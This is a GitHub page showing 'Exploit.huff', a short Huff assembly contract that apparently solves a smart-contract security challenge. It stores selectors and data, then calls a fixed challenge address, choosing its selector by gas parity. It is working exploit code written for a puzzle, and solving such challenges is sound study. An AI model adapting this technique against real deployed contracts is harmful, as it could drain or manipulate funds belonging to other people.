-
Notifications
You must be signed in to change notification settings - Fork 85
Expand file tree
/
Copy pathExploit.huff
More file actions
40 lines (35 loc) · 1.12 KB
/
Exploit.huff
File metadata and controls
40 lines (35 loc) · 1.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define constant CHALLENGE_ADDRESS = 0xcEf1EF6E3478d476d3DdB843f7547227Fb866a15
#define macro CONSTRUCTOR() = {
0xc48924a3 0x00 sstore
0x09775b47 0x01 sstore
[CHALLENGE_ADDRESS] 0x02 sstore
0x1c 0x03 sstore
0xba76c938bca5ba6daf32f8940f109d10a5e0cd681900c4b0d1152ba90c72707a 0x04 sstore
0xd21a7983cb860b1db4ba9571efee60fdc6ac7b02a3a8b5a082f46bab6c5db47c 0x05 sstore
_RETURN_MAIN()
}
#define macro _RETURN_MAIN() = {
__codesize(MAIN) // [size]
dup1 // [size, size]
__codeoffset(MAIN) // [offset, size, size]
0x0 // [0, offset, size, size]
codecopy // [size]
0x0 // [0, size]
return // []
}
#define macro MAIN() = takes (0) returns (0) {
2 gas mod sload 0x00 mstore
0x03 sload msize mstore
0x04 sload 0x40 mstore
0x05 sload 0x60 mstore
0x20 // retSize
0x80 // retOffset
msize // argsSize
0x1c // argsOffset
0x00 // value
0x02 sload // addr
gas // gas
call
0x00 mstore
0x20 0x00 return
}